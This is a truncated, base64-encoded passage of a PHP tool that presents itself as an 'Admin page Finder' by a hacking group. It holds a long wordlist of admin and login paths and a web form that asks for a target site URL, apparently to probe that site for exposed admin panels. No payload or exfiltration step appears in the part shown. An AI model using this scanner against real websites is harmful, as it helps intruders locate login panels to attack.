RtaW4vDQpmaWxlYWRtaW4ucGhwDQpmaWxlYWRtaW4uYXNwDQpmaWxlYWRtaW4uaHRtbA0KYWRtaW5pc3RyYXRpb24vDQphZG1pbmlzdHJhdGlvbi5waHANCmFkbWluaXN0cmF0aW9uLmh0bWwNCnN5c2FkbWluLnBocA0Kc3lzYWRtaW4uaHRtbA0KcGhwbXlhZG1pbi8NCm15YWRtaW4vDQpzeXNhZG1pbi5hc3ANCnN5c2FkbWluLw0KdXItYWRtaW4uYXNwDQp1ci1hZG1pbi5waHANCnVyLWFkbWluLmh0bWwNCnVyLWFkbWluLw0KU2VydmVyLnBocA0KU2VydmVyLmh0bWwNClNlcnZlci5hc3ANClNlcnZlci8NCndwLWFkbWluLw0KYWRtaW5pc3RyOC5waHANCmFkbWluaXN0cjguaHRtbA0KYWRtaW5pc3RyOC8NCmFkbWluaXN0cjguYXNwDQp3ZWJhZG1pbi8NCndlYmFkbWluLnBocA0Kd2ViYWRtaW4uYXNwDQp3ZWJhZG1pbi5odG1sDQphZG1pbmlzdHJhdGllLw0KYWRtaW5zLw0KYWRtaW5zLnBocA0KYWRtaW5zLmFzcA0KYWRtaW5zLmh0bWwNCmFkbWluaXN0cml2aWEvDQpEYXRhYmFzZV9BZG1pbmlzdHJhdGlvbi8NCldlYkFkbWluLw0KdXNlcmFkbWluLw0Kc3lzYWRtaW5zLw0KYWRtaW4xLw0Kc3lzdGVtLWFkbWluaXN0cmF0aW9uLw0KYWRtaW5pc3RyYXRvcnMvDQpwZ2FkbWluLw0KZGlyZWN0YWRtaW4vDQpzdGFyYWRtaW4vDQpTZXJ2ZXJBZG1pbmlzdHJhdG9yLw0KU3lzQWRtaW4vDQphZG1pbmlzdGVyLw0KTGl2ZVVzZXJfQWRtaW4vDQpzeXMtYWRtaW4vDQp0eXBvMy8NCnBhbmVsLw0KY3BhbmVsLw0KY1BhbmVsLw0KY3BhbmVsX2ZpbGUvDQpwbGF0el9sb2dpbi8NCnJjTG9naW4vDQpibG9naW5kZXgvDQpmb3Jtc2xvZ2luLw0KYXV0b2xvZ2luLw0Kc3VwcG9ydF9sb2dpbi8NCm1ldGFfbG9naW4vDQptYW51YWxsb2dpbi8NCnNpbXBsZUxvZ2luLw0KbG9naW5mbGF0Lw0KdXRpbGl0eV9sb2dpbi8NCnNob3dsb2dpbi8NCm1lbWxvZ2luLw0KbWVtYmVycy8NCmxvZ2luLXJlZGlyZWN0Lw0Kc3ViLWxvZ2luLw0Kd3AtbG9naW4vDQpsb2dpbjEvDQpkaXItbG9naW4vDQpsb2dpbl9kYi8NCnhsb2dpbi8NCnNtYmxvZ2luLw0KY3VzdG9tZXJfbG9naW4vDQpVc2VyTG9naW4vDQpsb2dpbi11cy8NCmFjY3RfbG9naW4vDQphZG1pbl9hcmVhLw0KYmlnYWRtaW4vDQpwcm9qZWN0LWFkbWlucy8NCnBocHBnYWRtaW4vDQpwdXJlYWRtaW4vDQpzcWwtYWRtaW4vDQpyYWRtaW5kLw0Kb3BlbnZwbmFkbWluLw0Kd2l6bXlzcWxhZG1pbi8NCnZhZG1pbmQvDQplenNxbGl0ZWFkbWluLw0KaHB3ZWJqZXRhZG1pbi8NCm5ld3NhZG1pbi8NCmFkbWlucHJvLw0KTG90dXNfRG9taW5vX0FkbWluLw0KYmJhZG1pbi8NCnZtYWlsYWRtaW4vDQpJbmR5X2FkbWluLw0KY2NwMTRhZG1pbi8NCmlyYy1tYWNhZG1pbi8NCmJhbm5lcmFkbWluLw0Kc3NoYWRtaW4vDQpwaHBsZGFwYWRtaW4vDQptYWNhZG1pbi8NCmFkbWluaXN0cmF0b3JhY2NvdW50cy8NCmFkbWluNF9hY2NvdW50Lw0KYWRtaW40X2NvbG9uLw0KcmFkbWluZC0xLw0KU3VwZXItQWRtaW4vDQpBZG1pblRvb2xzLw0KY21zYWRtaW4vDQpTeXNBZG1pbjIvDQpnbG9iZXNfYWRtaW4vDQpjYWRtaW5zLw0KcGhwU1FMaXRlQWRtaW4vDQpuYXZTaXRlQWRtaW4vDQpzZXJ2ZXJfYWRtaW5fc21hbGwvDQpsb2dvX3N5c2FkbWluLw0Kc2VydmVyLw0KZGF0YWJhc2VfYWRtaW5pc3RyYXRpb24vDQpwb3dlcl91c2VyLw0Kc3lzdGVtX2FkbWluaXN0cmF0aW9uLw0Kc3Nfdm1zX2FkbWluX3NtLw0KYWRtaW5hcmVhLw0KYmItYWRtaW4vDQphZG1pbkxvZ2luLw0KcGFuZWwtYWRtaW5pc3RyYWNpb24vDQppbnN0YWRtaW4vDQptZW1iZXJhZG1pbi8NCmFkbWluaXN0cmF0b3Jsb2dpbi8NCmFkbWluL2FkbWluLnBocA0KYWRtaW5fYXJlYS9hZG1pbi5waHANCmFkbWluX2FyZWEvbG9naW4ucGhwDQpzaXRlYWRtaW4vbG9naW4ucGhwDQpzaXRlYWRtaW4vaW5kZXgucGhwDQpzaXRlYWRtaW4vbG9naW4uaHRtbA0KYWRtaW4vYWRtaW4uaHRtbA0KYWRtaW5fYXJlYS9pbmRleC5waHANCmJiLWFkbWluL2luZGV4LnBocA0KYmItYWRtaW4vbG9naW4ucGhwDQpiYi1hZG1pbi9hZG1pbi5waHANCmFkbWluX2FyZWEvbG9naW4uaHRtbA0KYWRtaW5fYXJlYS9pbmRleC5odG1sDQphZG1pbmNwL2luZGV4LmFzcA0KYWRtaW5jcC9sb2dpbi5hc3ANCmFkbWluY3AvaW5kZXguaHRtbA0Kd2ViYWRtaW4vaW5kZXguaHRtbA0Kd2ViYWRtaW4vYWRtaW4uaHRtbA0Kd2ViYWRtaW4vbG9naW4uaHRtbA0KYWRtaW4vYWRtaW5fbG9naW4uaHRtbA0KYWRtaW5fbG9naW4uaHRtbA0KcGFuZWwtYWRtaW5pc3RyYWNpb24vbG9naW4uaHRtbA0KbnN3L2FkbWluL2xvZ2luLnBocA0Kd2ViYWRtaW4vbG9naW4ucGhwDQphZG1pbi9hZG1pbl9sb2dpbi5waHANCmFkbWluX2xvZ2luLnBocA0KYWRtaW5fYXJlYS9hZG1pbi5odG1sDQpwYWdlcy9hZG1pbi9hZG1pbi1sb2dpbi5waHANCmFkbWluL2FkbWluLWxvZ2luLnBocA0KYWRtaW4tbG9naW4ucGhwDQpiYi1hZG1pbi9pbmRleC5odG1sDQpiYi1hZG1pbi9sb2dpbi5odG1sDQpiYi1hZG1pbi9hZG1pbi5odG1sDQphZG1pbi9ob21lLmh0bWwNCnBhZ2VzL2FkbWluL2FkbWluLWxvZ2luLmh0bWwNCmFkbWluL2FkbWluLWxvZ2luLmh0bWwNCmFkbWluLWxvZ2luLmh0bWwNCmFkbWluL2FkbWluTG9naW4uaHRtbA0KYWRtaW5Mb2dpbi5odG1sDQpob21lLmh0bWwNCnJjamFrYXIvYWRtaW4vbG9naW4ucGhwDQphZG1pbmFyZWEvaW5kZXguaHRtbA0KYWRtaW5hcmVhL2FkbWluLmh0bWwNCndlYmFkbWluL2luZGV4LnBocA0Kd2ViYWRtaW4vYWRtaW4ucGhwDQp1c2VyLmh0bWwNCm1vZGVsc2VhcmNoL2xvZ2luLmh0bWwNCmFkbWluYXJlYS9sb2dpbi5odG1sDQpwYW5lbC1hZG1pbmlzdHJhY2lvbi9pbmRleC5odG1sDQpwYW5lbC1hZG1pbmlzdHJhY2lvbi9hZG1pbi5odG1sDQptb2RlbHNlYXJjaC9pbmRleC5odG1sDQptb2RlbHNlYXJjaC9hZG1pbi5odG1sDQphZG1pbmNvbnRyb2wvbG9naW4uaHRtbA0KYWRtL2luZGV4Lmh0bWwNCmFkbS5odG1sDQp1c2VyLnBocA0KcGFuZWwtYWRtaW5pc3RyYWNpb24vbG9naW4ucGhwDQp3cC1sb2dpbi5waHANCmFkbWluTG9naW4ucGhwDQphZG1pbi9hZG1pbkxvZ2luLnBocA0KaG9tZS5waHANCmFkbWluYXJlYS9pbmRleC5waHANCmFkbWluYXJlYS9hZG1pbi5waHANCmFkbWluYXJlYS9sb2dpbi5waHANCnBhbmVsLWFkbWluaXN0cmFjaW9uL2luZGV4LnBocA0KcGFuZWwtYWRtaW5pc3RyYWNpb24vYWRtaW4ucGhwDQptb2RlbHNlYXJjaC9pbmRleC5waHANCm1vZGVsc2VhcmNoL2FkbWluLnBocA0KYWRtaW5jb250cm9sL2xvZ2luLnBocA0KYWRtL2FkbWxvZ2ludXNlci5waHANCmFkbWxvZ2ludXNlci5waHANCmFkbWluMi9sb2dpbi5waHANCmFkbWluMi9pbmRleC5waHANCmFkbS9pbmRleC5waHANCmFkbS5waHANCmFmZmlsaWF0ZS5waHANCmFkbV9hdXRoLnBocA0KbWVtYmVyYWRtaW4ucGhwDQphZG1pbmlzdHJhdG9ybG9naW4ucGhwDQphZG1pbi9hZG1pbi5hc3ANCmFkbWluX2FyZWEvYWRtaW4uYXNwDQphZG1pbl9hcmVhL2xvZ2luLmFzcA0KYWRtaW5fYXJlYS9pbmRleC5hc3ANCmJiLWFkbWluL2luZGV4LmFzcA0KYmItYWRtaW4vbG9naW4uYXNwDQpiYi1hZG1pbi9hZG1pbi5hc3ANCnBhZ2VzL2FkbWluL2FkbWluLWxvZ2luLmFzcA0KYWRtaW4vYWRtaW4tbG9naW4uYXNwDQphZG1pbi1sb2dpbi5hc3ANCnVzZXIuYXNwDQp3ZWJhZG1pbi9pbmRleC5hc3ANCndlYmFkbWluL2FkbWluLmFzcA0Kd2ViYWRtaW4vbG9naW4uYXNwDQphZG1pbi9hZG1pbl9sb2dpbi5hc3ANCmFkbWluX2xvZ2luLmFzcA0KcGFuZWwtYWRtaW5pc3RyYWNpb24vbG9naW4uYXNwDQphZG1pbkxvZ2luLmFzcA0KYWRtaW4vYWRtaW5Mb2dpbi5hc3ANCmhvbWUuYXNwDQphZG1pbmFyZWEvaW5kZXguYXNwDQphZG1pbmFyZWEvYWRtaW4uYXNwDQphZG1pbmFyZWEvbG9naW4uYXNwDQpwYW5lbC1hZG1pbmlzdHJhY2lvbi9pbmRleC5hc3ANCnBhbmVsLWFkbWluaXN0cmFjaW9uL2FkbWluLmFzcA0KbW9kZWxzZWFyY2gvaW5kZXguYXNwDQptb2RlbHNlYXJjaC9hZG1pbi5hc3ANCmFkbWluY29udHJvbC9sb2dpbi5hc3ANCmFkbS9hZG1sb2dpbnVzZXIuYXNwDQphZG1sb2dpbnVzZXIuYXNwDQphZG1pbjIvbG9naW4uYXNwDQphZG1pbjIvaW5kZXguYXNwDQphZG0vaW5kZXguYXNwDQphZG0uYXNwDQphZmZpbGlhdGUuYXNwDQphZG1fYXV0aC5hc3ANCm1lbWJlcmFkbWluLmFzcA0KYWRtaW5pc3RyYXRvcmxvZ2luLmFzcA0Kc2l0ZWFkbWluL2xvZ2luLmFzcA0Kc2l0ZWFkbWluL2luZGV4LmFzcA0KQURNSU4vDQpwYW5lbGRlY29udHJvbC8NCmxvZ2luLw0KY21zLw0KYWRtb24vDQpBRE1PTi8NCmFkbWluaXN0cmFkb3IvDQpBRE1JTi9sb2dpbi5waHANCnBhbmVsYy8NCkFETUlOL2xvZ2luLmh0bWwNCi9tb2R1bG8vDQppbnRyYW5ldC8NCmludHJhbmV0LnBocA0KYWRtaW5pc3RyYWRvci8NCmJhY2tlbmQvDQplbnRyYWRhLw0KZW50cmFkYS5waHANCnB1ZXJ0YW9jdWx0YS5waHANCnB1ZXJ0YW9jdWx0YS8NCmJhY2sucGhwDQptZW51LnBocA0KZWRpdG5vdGljaWEucGhwDQplZGl0YXJub3RpY2lhLnBocA0KZWRpdGFyX25vdGljaWEucGhwDQphZG0ucGhwDQppbnRvLnBocA0KZW50cmFyLnBocA0Kc3lzdGVtLw0Kc3lzdGVtLnBocA0KYmFjay8NCmxvZ291dC5waHANCmpzL2FkbWluLw0KYWRtaW5pLw0KYWRtaW43Lw0KYWRtaW5pc3RyLw0KYWRtaW5pc3QvDQphZG1pbmlzdHJhLw0KaW50by8NCmVudHJhci8NCnB1ZXJ0YS8NCmVudHJhZGEvDQphZG1pbi5waHANCmxvZ2luLmh0bQ0KbG9naW4uaHRtbA0KbG9naW4vDQpsb2dpbi5waHANCmFkbS8NCmFkbWluLw0KYWRtaW4vYWNjb3VudC5odG1sDQphZG1pbi9sb2dpbi5odG1sDQphZG1pbi9sb2dpbi5odG0NCmFkbWluL2hvbWUucGhwDQphZG1pbi9jb250cm9scGFuZWwuaHRtbA0KYWRtaW4vY29udHJvbHBhbmVsLmh0bQ0KYWRtaW4vY3AucGhwDQphZG1pbi9hZG1pbkxvZ2luLmh0bWwNCmFkbWluL2FkbWluTG9naW4uaHRtDQphZG1pbi9hZG1pbl9sb2dpbi5waHANCmFkbWluL2NvbnRyb2xwYW5lbC5waHANCmFkbWluL2FkbWluLWxvZ2luLnBocA0KYWRtaW4tbG9naW4ucGhwDQphZG1pbi9hY2NvdW50LnBocA0KYWRtaW4vYWRtaW4ucGhwDQphZG1pbi5odG0NCmFkbWluLmh0bWwNCmFkbWluaXRlbS8NCmFkbWluaXRlbS5waHANCmFkbWluaXRlbXMvDQphZG1pbml0ZW1zLnBocA0KYWRtaW5pc3RyYXRvci9sb2dpbi5waHANCmFkbWluaXN0cmF0b3IucGhwDQphZG1pbmlzdHJhdGlvbi8NCmFkbWluaXN0cmF0aW9uLnBocA0KYWRtaW5sb2dpbi5waHANCmFkbWluX2FyZWEvYWRtaW4ucGhwDQphZG1pbl9hcmVhLw0KYWRtaW5fYXJlYS9sb2dpbi5waHANCm1hbmFnZXIvDQptYW5hZ2VyLnBocA0KbGV0bWVpbi8NCmxldG1laW4ucGhwDQpzdXBlcnVzZXIvDQpzdXBlcnVzZXIucGhwDQphY2Nlc3MvDQphY2Nlc3MucGhwDQpzeXNhZG0vDQpzeXNhZG0ucGhwDQpzdXBlcm1hbi8NCnN1cGVydmlzb3IvDQpwYW5lbC5waHANCmNvbnRyb2wvDQpjb250cm9sLnBocA0KbWVtYmVyLw0KbWVtYmVyLnBocA0KbWVtYmVycy8NCm1lbWJlcnMucGhwDQp1c2VyLw0KdXNlci5waHANCmNwLw0KdXZwYW5lbC8NCm1hbmFnZS8NCm1hbmFnZS5waHANCm1hbmFnZW1lbnQvDQptYW5hZ2VtZW50LnBocA0Kc2lnbmluLw0Kc2lnbmluLnBocA0KbG9nLWluLw0KbG9nLWluLnBocA0KbG9nX2luLw0KbG9nX2luLnBocA0Kc2lnbl9pbi8NCnNpZ25faW4ucGhwDQpzaWduLWluLw0Kc2lnbi1pbi5waHANCnVzZXJzLw0KdXNlcnMucGhwDQphY2NvdW50cy8NCmFjY291bnRzLnBocA0Kd3AtbG9naW4ucGhwDQpiYi1hZG1pbi9sb2dpbi5waHANCmJiLWFkbWluL2FkbWluLnBocA0KYmItYWRtaW4vYWRtaW4uaHRtbA0KYWRtaW5pc3RyYXRvci9hY2NvdW50LnBocA0KcmVsb2dpbi5odG0NCnJlbG9naW4uaHRtbA0KY2hlY2sucGhwDQpyZWxvZ2luLnBocA0KYmxvZy93cC1sb2dpbi5waHANCnVzZXIvYWRtaW4ucGhwDQp1c2Vycy9hZG1pbi5waHANCnJlZ2lzdHJhdGlvbi8NCnByb2Nlc3Nsb2dpbi5waHANCmNoZWNrbG9naW4ucGhwDQpjaGVja3VzZXIucGhwDQpjaGVja2FkbWluLnBocA0KaXNhZG1pbi5waHANCmF1dGhlbnRpY2F0ZS5waHANCmF1dGhlbnRpY2F0aW9uLnBocA0KYXV0aC5waHANCmF1dGh1c2VyLnBocA0KYXV0aGFkbWluLnBocA0KY3AucGhwDQptb2RlbHNlYXJjaC9sb2dpbi5waHANCm1vZGVyYXRvci5waHANCm1vZGVyYXRvci8NCmNvbnRyb2xwYW5lbC8NCmNvbnRyb2xwYW5lbC5waHANCmFkbWluY29udHJvbC5waHANCmFkbWlucGFuZWwucGhwDQpmaWxlYWRtaW4vDQpmaWxlYWRtaW4ucGhwDQpzeXNhZG1pbi5waHANCmFkbWluMS5waHANCmFkbWluMS5odG1sDQphZG1pbjEuaHRtDQphZG1pbjIucGhwDQphZG1pbjIuaHRtbA0KeW9uZXRpbS5waHANCnlvbmV0aW0uaHRtbA0KeW9uZXRpY2kucGhwDQp5b25ldGljaS5odG1sDQpwaHBteWFkbWluLw0KbXlhZG1pbi8NCnVyLWFkbWluLnBocA0KdXItYWRtaW4vDQpTZXJ2ZXIucGhwDQpTZXJ2ZXIvDQp3cC1hZG1pbi8NCmFkbWluaXN0cjgucGhwDQphZG1pbmlzdHI4Lw0Kd2ViYWRtaW4vDQp3ZWJhZG1pbi5waHANCmFkbWluaXN0cmF0aWUvDQphZG1pbnMvDQphZG1pbnMucGhwDQphZG1pbmlzdHJpdmlhLw0KRGF0YWJhc2VfQWRtaW5pc3RyYXRpb24vDQp1c2VyYWRtaW4vDQpzeXNhZG1pbnMvDQphZG1pbjEvDQpzeXN0ZW0tYWRtaW5pc3RyYXRpb24vDQphZG1pbmlzdHJhdG9ycy8NCnBnYWRtaW4vDQpkaXJlY3RhZG1pbi8NCnN0YXJhZG1pbi8NClNlcnZlckFkbWluaXN0cmF0b3IvDQpTeXNBZG1pbi8NCmFkbWluaXN0ZXIvDQpMaXZlVXNlcl9BZG1pbi8NCnN5cy1hZG1pbi8NCnR5cG8zLw0KcGFuZWwvDQpjcGFuZWwvDQpjcGFuZWxfZmlsZS8NCnBsYXR6X2xvZ2luLw0KcmNsb2dpbi8NCmJsb2dpbmRleC8NCmZvcm1zbG9naW4vDQphdXRvbG9naW4vDQpzdXBwb3J0X2xvZ2luLw0KbWV0YV9sb2dpbi8NCm1hbnVhbGxvZ2luLw0Kc2ltcGxlbG9naW4vDQpsb2dpbmZsYXQvDQp1dGlsaXR5X2xvZ2luLw0Kc2hvd2xvZ2luLw0KbWVtbG9naW4vDQpsb2dpbi1yZWRpcmVjdC8NCnN1Yi1sb2dpbi8NCndwLWxvZ2luLw0KbG9naW4xLw0KZGlyLWxvZ2luLw0KbG9naW5fZGIvDQp4bG9naW4vDQpzbWJsb2dpbi8NCmN1c3RvbWVyX2xvZ2luLw0KVXNlcmxvZ2luLw0KbG9naW4tdXMvDQphY2N0X2xvZ2luLw0KYmlnYWRtaW4vDQpwcm9qZWN0LWFkbWlucy8NCnBocHBnYWRtaW4vDQpwdXJlYWRtaW4vDQpzcWwtYWRtaW4vDQpyYWRtaW5kLw0Kb3BlbnZwbmFkbWluLw0Kd2l6bXlzcWxhZG1pbi8NCnZhZG1pbmQvDQplenNxbGl0ZWFkbWluLw0KaHB3ZWJqZXRhZG1pbi8NCm5ld3NhZG1pbi8NCmFkbWlucHJvLw0KTG90dXNfRG9taW5vX0FkbWluLw0KYmJhZG1pbi8NCnZtYWlsYWRtaW4vDQpJbmR5X2FkbWluLw0KY2NwMTRhZG1pbi8NCmlyYy1tYWNhZG1pbi8NCmJhbm5lcmFkbWluLw0Kc3NoYWRtaW4vDQpwaHBsZGFwYWRtaW4vDQptYWNhZG1pbi8NCmFkbWluaXN0cmF0b3JhY2NvdW50cy8NCmFkbWluNF9hY2NvdW50Lw0KYWRtaW40X2NvbG9uLw0KcmFkbWluZC0xLw0KU3VwZXItQWRtaW4vDQpBZG1pblRvb2xzLw0KY21zYWRtaW4vDQpTeXNBZG1pbjIvDQpnbG9iZXNfYWRtaW4vDQpjYWRtaW5zLw0KcGhwU1FMaXRlQWRtaW4vDQpuYXZTaXRlQWRtaW4vDQpzZXJ2ZXJfYWRtaW5fc21hbGwvDQpsb2dvX3N5c2FkbWluLw0KcG93ZXJfdXNlci8NCnN5c3RlbV9hZG1pbmlzdHJhdGlvbi8NCnNzX3Ztc19hZG1pbl9zbS8NCmJiLWFkbWluLw0KcGFuZWwtYWRtaW5pc3RyYWNpb24vDQppbnN0YWRtaW4vDQptZW1iZXJhZG1pbi8NCmFkbWluaXN0cmF0b3Jsb2dpbi8NCmFkbS5waHANCmFkbWluX2xvZ2luLnBocA0KcGFuZWwtYWRtaW5pc3RyYWNpb24vbG9naW4ucGhwDQpwYWdlcy9hZG1pbi9hZG1pbi1sb2dpbi5waHANCnBhZ2VzL2FkbWluLw0KYWNjZXNvLnBocA0KYWRtaW5jcC9sb2dpbi5waHANCmFkbWluY3AvDQphZG1pbmFyZWEvDQphZG1pbmNvbnRyb2wvDQphZmZpbGlhdGUucGhwDQphZG1fYXV0aC5waHANCm1lbWJlcmFkbWluLnBocA0KYWRtaW5pc3RyYXRvcmxvZ2luLnBocA0KbW9kdWxlcy9hZG1pbi8NCmFkbWluaXN0cmF0b3JzLnBocA0Kc2l0ZWFkbWluLw0Kc2l0ZWFkbWluLnBocA0KYWRtaW5zaXRlLw0Ka3BhbmVsLw0Kdm9yb2QvDQp2b3JvZC5waHANCnZvcnVkLw0Kdm9ydWQucGhwDQphZG1pbnBhbmVsLw0KUFNVc2VyLw0Kc2VjdXJlLw0Kd2VibWFzdGVyLw0Kd2VibWFzdGVyLnBocA0KYXV0b2xvZ2luLnBocA0KdXNlcmxvZ2luLnBocA0KYWRtaW5fYXJlYS5waHANCmNtc2FkbWluLnBocA0Kc2VjdXJpdHkvDQp1c3IvDQpyb290Lw0Kc2VjcmV0Lw0KYWRtaW4vbG9naW4ucGhwDQphZG1pbi9hZG1pbkxvZ2luLnBocA0KbW9kZXJhdG9yLnBocA0KbW9kZXJhdG9yLmh0bWwNCm1vZGVyYXRvci9sb2dpbi5waHANCm1vZGVyYXRvci9hZG1pbi5waHANCnlvbmV0aWNpLnBocA0KMGFkbWluLw0KMG1hbmFnZXIvDQphYWRtaW4vDQpjZ2ktYmluL2xvZ2luLnBocA0KbG9naW4xLnBocA0KbG9naW5fYWRtaW4vDQpsb2dpbl9hZG1pbi5waHANCmxvZ2luX291dC8NCmxvZ2luX291dC5waHANCmxvZ2luX3VzZXIucGhwDQpsb2dpbmVycm9yLw0KbG9naW5vay8NCmxvZ2luc2F2ZS8NCmxvZ2luc3VwZXIvDQpsb2dpbnN1cGVyLnBocA0KbG9naW4ucGhwDQpsb2dvdXQvDQpsb2dvdXQucGhwDQpzZWNyZXRzLw0Kc3VwZXIxLw0Kc3VwZXIxLnBocA0Kc3VwZXJfaW5kZXgucGhwDQpzdXBlcl9sb2dpbi5waHANCnN1cGVybWFuYWdlci5waHANCnN1cGVybWFuLnBocA0Kc3VwZXJ1c2VyLnBocA0Kc3VwZXJ2aXNlLw0Kc3VwZXJ2aXNlL0xvZ2luLnBocA0Kc3VwZXIucGhwIjsNCmZ1bmN0aW9uIHRlbXBsYXRlKCkgew0KICAgIGVjaG8gJw0KPG1ldGEgKioqKioqKioqKj0iQ29udGVudC1UeXBlIiAqKioqKioqKioidGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiAvPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCmg0LnRlY2huaXF1ZS10d28gew0KICAgICAgICANCiAgICAgICAgYmFja2dyb3VuZDogdXJsKCJodHRwOi8vd3d3LmFsYm9yYWFxLmNvbS9qcGcvQ3BEMzkwMzIuZ2lmIikgcmVwZWF0IHRvcCBjZW50ZXI7DQogICAgICAgIG1hcmdpbjogMCBhdXRvOw0KfQ0KLndyYXBwZXJ7DQogICAgd2lkdGg6IDEwMDBweDsNCiAgICBtYXJnaW46IDAgYXV0bzsNCn0NCi50dWJlew0KICAgIHBhZGRpbmc6IDEwcHg7DQp9DQoucmVkew0KICAgIHdpZHRoOiA5OThweDsNCiAgICBib3JkZXI6IDFweCBzb2xpZCBMSU1FOw0KICAgIGJhY2tncm91bmQ6ICMxOTE5MTk7DQogICAgY29sb3I6IExJTUU7DQp9DQoucmVkIGlucHV0ew0KICAgIGJhY2tncm91bmQ6ICMwMDA7DQogICAgYm9yZGVyOiAxcHggc29saWQgTElNRTsNCiAgICBjb2xvcjogd2hpdGU7DQogICAgdGV4dC1hbGlnbjogbGVmdDsNCiAgICB0ZXh0LWluZGVudDogMSU7DQogICAgZm9udC1zaXplOiAxNnB4Ow0KfQ0KLmJsdWV7DQogICAgZmxvYXQ6IGxlZnQ7DQogICAgd2lkdGg6IDEwMDBweDsNCiAgICBib3JkZXI6IDFweCBzb2xpZCBMSU1FOw0KICAgIGJhY2tncm91bmQ6ICMxOTE5MTk7DQogICAgY29sb3I6IFJFRDsNCn0NCi5ncmVlbnsNCiAgICBmbG9hdDogbGVmdDsNCiAgICB3aWR0aDogMTAwMHB4Ow0KICAgIGJvcmRlcjogMXB4IHNvbGlkIExJTUU7DQogICAgYmFja2dyb3VuZDogIzE5MTkxOTsNCiAgICBjb2xvcjogTElNRTsNCn0NCjwvc3R5bGU+DQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQo8IS0tDQpmdW5jdGlvbiBpbnNlcnRjb2RlKCR0ZXh0LCAkcGxhY2UsICRyZXBsYWNlKQ0Kew0KICAgIHZhciAkdGhpcyA9ICR0ZXh0Ow0KICAgIHZhciBsb2dib3ggPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgkcGxhY2UpOw0KICAgIGlmKCRyZXBsYWNlID09IDApDQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCRwbGFjZSkuaW5uZXJIVE1MID0gbG9nYm94LmlubmVySFRNTCskdGhpczsNCiAgICBlbHNlDQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCRwbGFjZSkuaW5uZXJIVE1MID0gJHRoaXM7DQovL2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJoZWxwYm94IikuaW5uZXJIVE1MID0gJHRoaXM7DQp9DQotLT4NCjwvc2NyaXB0Pg0KPGNlbnRlcj48cHJlIHN0eWxlPSJjb2xvcjogbGlnaHRibHVlIj4NCiAgIF9fX19fICAgICAgIC5fX18gICAgICAuX18gICAgICAgX19fX19fX19fX18uX18gICAgICAgICAgICAuX19fICAgICAgICAgIA0KICAvICBfICBcICAgIF9ffCBfL19fX19fIHxfX3wgX19fXyBcXyAgIF9fX19fL3xfX3wgX19fXyAgICBfX3wgXy9fX19fX19fX18gDQogLyAgL19cICBcICAvIF9fIHwvICAgICBcfCAgfC8gICAgXCB8ICAgIF9fKSAgfCAgfC8gICAgXCAgLyBfXyB8LyBfXyBcXyAgXyANCi8gICAgfCAgICBcLyAvXy8gfCAgWSBZICBcICB8ICAgfCAgXHwgICAgIFwgICB8ICB8ICAgfCAgXC8gL18vIFwgIF9fXy98ICB8DQogICAgICAgIFwvICAgICAgXC8gICAgIFwvICAgICAgICBcLyAgICAgXC8gICAgICAgICAgICBcLyAgICAgIFwvICAgIFwvIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBNQURFIEJZIFRFUk1VWEhBQ0taIFNPQ0lFVFkgVEVBTQ0KICAgICAgICAgICAgICAgIA0KPC9wcmU+PC9jZW50ZXI+ICAgDQo8L2hlYWQ+DQo8Ym9keT4NCjxoNCBjbGFzcz0idGVjaG5pcXVlLXR3byI+ICAgICANCjwvaDE+DQo8ZGl2IGNsYXNzPSJ3cmFwcGVyIj4NCjxkaXYgY2xhc3M9InJlZCI+DQo8ZGl2IGNsYXNzPSJ0dWJlIj4NCjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIG5hbWU9InhwbG9pdF9mb3JtIj4NCjxmb250IHNpemU9IjUiPkVudGVyIHRoZSB1cmwgb2YgcGFnZSBoZXJlOjwvZm9udD48YnIgLz48aW5wdXQgdHlwZT0idXJsIiBwbGFjZWhvbGRlcj0iaHR0cDovL3RhcmdldHNpdGUuY29tIiBuYW1lPSJ4cGxvaXRfdXJsIiB2YWx1ZT0iJyAuICRfUE9TVFsneHBsb2l0X3VybCddIC4gJyIgc3R5bGU9IndpZHRoOiAxMDAlOyBoZWlnaHQ6IDMwcHg7IiAvPjxiciAvPjxiciAvPg0KPC9mb3JtPg0KPGJyIC8+DQo8L2Rpdj4gPCEtLSAvdHViZSAtLT4NCjwvZGl2PiA8IS0tIC9yZWQgLS0+DQo8YnIgLz4NCjxkaXYgY2xhc3M9ImdyZWVuIj4NCjxkaXYgY2xhc3M9InR1YmUiIGlkPSJyaWdodGNvbCI+DQpTY2FubmVkIFBhbmVsczogPHNwYW4gaWQ9InZlcmlmaWVkIj4wPC9zcGFuPiAvIDxzcGFuIGlkPSJ0b3RhbCI+MDwvc3Bhbj48YnIgLz4NCkZvdW5kIFBhbmVsczogPGJyIC8+DQo8L2Rpdj4gPCEtLSAvdHViZSAtLT4NCjwvZGl2PiA8IS0tIC9ncmVlbiAtLT4NCjxiciBjbGVhcj0iYWxsIiAvPjxiciAvPg0KPGRpdiBjbGFzcz0iYmx1ZSI+DQo8ZGl2IGNsYXNzPSJ0dWJlIiBpZD0ibG9nYm94Ij4NCjxiciAvPg0KPGJyIC8+DQo8Y2VudGVyPkFkbWluIHBhZ2UgRmluZGVyIGJ5IFRlcm11eEhhY2t6IFNvY2lldHkgVGVhbSA8YnIgLz48YnIgLz4NCjwvZGl2PiA8IS0tIC90dWJlIC0tPg0KPC9kaXY+IDwhLS0gL2JsdWUgLS0+DQo8L2Rpdj4gPCEtLSAvd3JhcHBlciAtLT4NCjxiciBjbGVhcj0iYWxsIj4nOw0KfQ0KZnVuY3Rpb24gc2hvdygkbXNnLCAkYnIgPSAxLCAkc3RvcCA9IDAsICRwbGFjZSA9ICdsb2dib3gnLCAkcmVwbGFjZSA9IDApIHsNCiAgICBpZiAoJGJyID09IDEpICRtc2cuPSAiPGJyIC8+IjsNCiAgICBlY2hvICI8c2NyaXB0IHR5cGU9XCJ0ZXh0L2phdmFzY3JpcHRcIj5pbnNlcnRjb2RlKCciIC4gJG1zZyAuICInLCAnIiAuICRwbGFjZSAuICInLCAnIiAuICRyZXBsYWNlIC4gIicpOzwvc2NyaXB0PiI7DQogICAga